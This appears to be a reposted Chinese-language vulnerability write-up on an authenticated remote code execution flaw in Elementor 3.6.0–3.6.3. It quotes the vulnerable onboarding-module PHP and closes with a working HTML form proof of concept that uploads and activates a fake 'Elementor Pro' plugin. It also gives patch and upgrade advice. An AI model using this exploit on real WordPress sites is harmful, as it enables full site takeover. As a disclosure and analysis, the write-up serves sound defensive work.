Elementor RCE WordPress插件远程代码执行漏洞

Elementor RCE WordPress插件远程代码执行漏洞

Elementor是什么?

Elementor 是领先的 WordPress 网站构建平台插件,使网络创建者能够使用直观的视觉构建器构建专业、像素完美的网站。无需编写任何代码,即可完全控制每一部分,快速为您的客户或您的企业创建令人惊叹的网站.

详情可查看其wordpress插件页描述:
https://cn.wordpress.org/plugins/elementor/#description

漏洞描述

在 Elementor 中发现了一个漏洞,从 3.6.0 版本开始,攻击者可以上传任意代码并进行完整的站点接管。该漏洞是由于新的“Onboarding”向导功能中缺乏适当的安全策略而引入的。此漏洞可能允许任何经过身份验证的用户无论其授权如何,都可以更改站点标题、站点徽标、将主题更改为 Elementor 的主题,最糟糕的是,可以将任意文件上传到站点

任意文件上传漏洞可能允许某人接管整个站点或执行远程代码执行 (RCE)。

造成漏洞的根源

缺少功能检查

Elementor 中的缺陷与所谓的功能检查有关。

能力检查是所有插件制造商都必须编写的安全层。功能检查的作用是检查任何登录用户的权限级别。

例如,具有订阅者级别权限的人可能能够向文章提交评论,但他们不具有授予他们访问 WordPress 编辑屏幕以将帖子发布到站点的权限级别。

用户角色可以是管理员、编辑者、订阅者等,每个级别都包含分配给每个用户角色的用户权限。

当插件运行代码时,它应该检查用户是否有足够的能力执行该代码。

WordPress 发布了专门解决这一重要安全检查的插件手册。

这一章被称为检查用户能力,它概述了插件制造商需要了解的关于这种安全检查的知识。

WordPress 手册建议:

检查用户能力

如果你的插件允许用户提交数据——无论是在管理端还是公共端——它应该检查用户能力。

…创建高效安全层的最重要步骤是建立用户权限系统。WordPress 以用户角色和功能的形式提供了这一点。”

Elementor 版本 3.6.0 引入了一个新模块(Onboarding模块),该模块未能包含功能检查。

所以 Elementor 的问题不在于黑客多聪明,他们发现了一种方法来对基于 Elementor 的网站进行全站点接管。

Elementor 中的漏洞利用是由于未能在应有的地方使用能力检查。

根据 Wordfence 发布的报告:

“不幸的是,在易受攻击的版本中没有使用能力检查。

攻击者可以制作伪造的恶意“Elementor Pro”插件 zip 并使用此功能进行安装。

假插件中存在的任何代码都将被执行,这些代码可用于接管站点或访问服务器上的其他资源。

漏洞详情

该漏洞的存在是由于每个请求都加载了一个“onboarding”模块,并被挂接到admin_init WordPress 钩子中。这个钩子会在任何与管理员相关的屏幕/脚本上触发,但并不一定意味着它仅在更高权限的用户登录站点时才会触发。

此模块确定是否发送了 POST 有效负载操作_nonce参数,还确定与请求一起发送的随机数是否有效。从这一点开始,它将执行action参数中给出的动作。

由于在此模块中检查的 nonce 令牌被发送给任何经过身份验证的用户,因此任何经过身份验证的用户都可以执行此操作,而不管他们的授权如何。

注意:目前我们仍在确定未经身份验证的用户是否也能够泄露 nonce 令牌(从而能够利用该漏洞)。

起因

上周晚些时候,我们监控的第三方数据显示,可能是黑客通过请求此文件来探测 WordPress 插件Elementor的使用,根据 WordPress插件页面显示,该插件有 5+ 百万次活动安装:

我们找不到任何最近披露的漏洞可以解释这一点,因此我们开始进行我们在黑客可能利用插件中未修复漏洞的情况下进行的标准检查。我们立即发现该插件没有处理基本的安全权限,因为我们发现许多功能在不应该检查的地方丢失了功能。虽然其中一些不应该被不应访问的用户访问,但我们发现至少有一个可以访问,并且可访问的功能会导致最严重的漏洞类型之一,即远程代码执行 (RCE)。这意味着攻击者提供的恶意代码可以由网站运行。

在这种情况下,该漏洞可能会被未登录 WordPress 的人利用,但任何登录 WordPress 且有权访问 WordPress 管理仪表板的人都可以轻松利用该漏洞。除非另一个插件限制对管理仪表板的访问,否则这意味着任何登录 WordPress 的人都可以访问。

该漏洞是在 3 月 22 日发布的 3.6.0 版本的插件中引入的。根据 WordPress 的最新统计数据,该插件的 30.3% 的用户现在使用的是 3.6.x 版本。

根据我们在非常有限的检查中看到的情况,我们建议在经过彻底的安全审查并解决所有问题之前不要使用此插件。它有 5+ 百万次安装并且没有得到适当的保护,这应该是非常令人担忧的。这当然不是因为开发商缺钱,因为他们在 2020 年筹集了 1500 万美元。这也不是没有理由担心,因为两年前有人声称该插件的付费版本中的零日漏洞正在被利用

我们测试并确认我们的 WordPress 防火墙插件在启用限制可以在 .zip 文件中上传的文件类型的选项时已经防止利用此漏洞,作为其针对零日漏洞的保护的一部分。防火墙的下一个版本计划引入与此类情况更直接相关的保护(默认情况下也将启用),我们现在正在寻求扩展该保护以解决此处涉及的情况。

上周对我们的自动化工具(包括我们的插件安全检查器)进行了改进,以检测某些代码实例,例如此处易受攻击的代码,我们根据这种情况进行了进一步的改进。因此,您可以检查其他插件是否可能与使用该工具在此处找到的类似问题。

经过身份验证的远程代码执行 (RCE)

在插件的文件 /core/app/modules/onboarding/module.php 中,以下代码设置为在 admin_init 期间运行,这意味着即使对于那些未登录 WordPress 的人,它也会运行:

add_action (  'admin_init' ,  function ( )  { 
	if  ( wp_doing_ajax ( )  && 
		isset (  $_POST [ 'action' ]  )  && 
		isset (  $_POST [ '_nonce' ]  )  && 
		wp_verify_nonce (  $_POST [ '_nonce' ] , Ajax : : NONCE_KEY  ) 
	)  { 
		$this -> Maybe_handle_ajax ( ) ;

如果正在发出 AJAX 请求并且提供了有效的 nonce,那么该代码将运行文件中的另一个函数,maybe_handle_ajax()。反过来,该函数将根据 POST 输入“action”的值运行其他函数:

private function maybe_handle_ajax() {
	$result = [];
 
	// phpcs:ignore WordPress.Security.NonceVerification.Missing
	switch ( $_POST['action'] ) {
		case 'elementor_update_site_name':
			// If no value is passed for any reason, no need ot update the site name.
			$result = $this->maybe_update_site_name();
			break;
		case 'elementor_update_site_logo':
			$result = $this->maybe_update_site_logo();
			break;
		case 'elementor_upload_site_logo':
			$result = $this->maybe_upload_logo_image();
			break;
		case 'elementor_update_data_sharing':
			$result = $this->set_usage_data_opt_in();
			break;
		case 'elementor_activate_hello_theme':
			$result = $this->activate_hello_theme();
			break;
		case 'elementor_upload_and_install_pro':
			$result = $this->upload_and_install_pro();
			break;
		case 'elementor_update_onboarding_option':
			$result = $this->maybe_update_onboarding_db_option();
	}

这些都没有能力检查来限制谁可以访问它们。

我们发现的 RCE 漏洞涉及通过前面的函数访问的函数 upload_and_install_pro()。
该函数将安装随请求发送的 WordPress 插件:

private function upload_and_install_pro() {
	$result = [];
	$error_message = __( 'There was a problem uploading your file', 'elementor' );
 
	// phpcs:ignore WordPress.Security.NonceVerification.Missing
	if ( empty( $_FILES['fileToUpload'] ) ) {
		$result = [
			'status' => 'error',
			'payload' => [
				'error_message' => $error_message,
			],
		];
 
		return $result;
	}
 
	if ( ! class_exists( 'Automatic_Upgrader_Skin' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	}
 
	$skin = new Automatic_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$upload_result   = $upgrader->install( $_FILES['fileToUpload']['tmp_name'], [ 'overwrite_package' => false ] );

这意味着可以将任意文件上传到网站。RCE 发生在代码尝试激活位于 Elementor Pro 位置的插件时:

$activated = activate_plugin( WP_PLUGIN_DIR . '/elementor-pro/elementor-pro.php', false, false, true );

因此,如果上传的插件与此匹配,它将被激活,然后相关文件中的代码将运行。

基于所有这些,唯一的限制是访问有效的随机数。我们发现,相关的 nonce 包含在 WordPress 管理页面的源代码行中,该行以“elementorCommonConfig”开头,以具有订阅者角色的用户身份登录时包含

哪些版本受影响?

3.6.0 ≤ Elementor Website Builder ≤ 3.6.3

该漏洞在哪个版本得到修复?

3.6.3

有多少网站受影响?

Elementor插件在网站上超过5百万次安装.

Elementor RCE WordPress插件远程代码执行漏洞

Elementor 中的补丁

该补丁适用于 Elementor 的 3.6.3 版本。提交的差异可以在这里找到,安全补丁本身可以在这里找到。下面可以看到安全补丁的片段。

Elementor RCE WordPress插件远程代码执行漏洞

在这里您可以看到添加了一个额外的检查来确定使用current_user_can WordPress 函数的用户的授权,这修复了安全问题。

Elementor 中的漏洞响应时间表

2022年 4 月 13日 – 当它被我们的监控工具捕获时,我们发现了该漏洞。我们向所有 Patchstack 付费版本客户发布了一个虚拟补丁。
13-04-2022 – 将漏洞添加到 Patchstack 漏洞数据库。

POC代码

以下poc代码将在登录 WordPress 时安装指定的插件。

将“[path to WordPress]”替换为 WordPress 的位置,将“[nonce]”替换为网站管理页面上以“elementorCommonConfig”开头的源行中的 nonce 值。

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" enctype="multipart/form-data" method="POST">
<input type="hidden" name="action" value="elementor_upload_and_install_pro" />
<input type="hidden" name="_nonce" value="[nonce]" />
<input type="file" name="fileToUpload" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

修复建议

该漏洞是在 Elementor 版本 3.6.0 中引入的,因此在该版本之前的版本中不存在此漏洞。

Wordfence 建议发布者更新到版本 3.6.3。

但是,官方的Elementor 变更日志指出,版本 3.6.4 修复了与受影响的入职向导模块相关的清理问题。

所以更新到 Elementor 3.6.4 可能是个好主意。

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。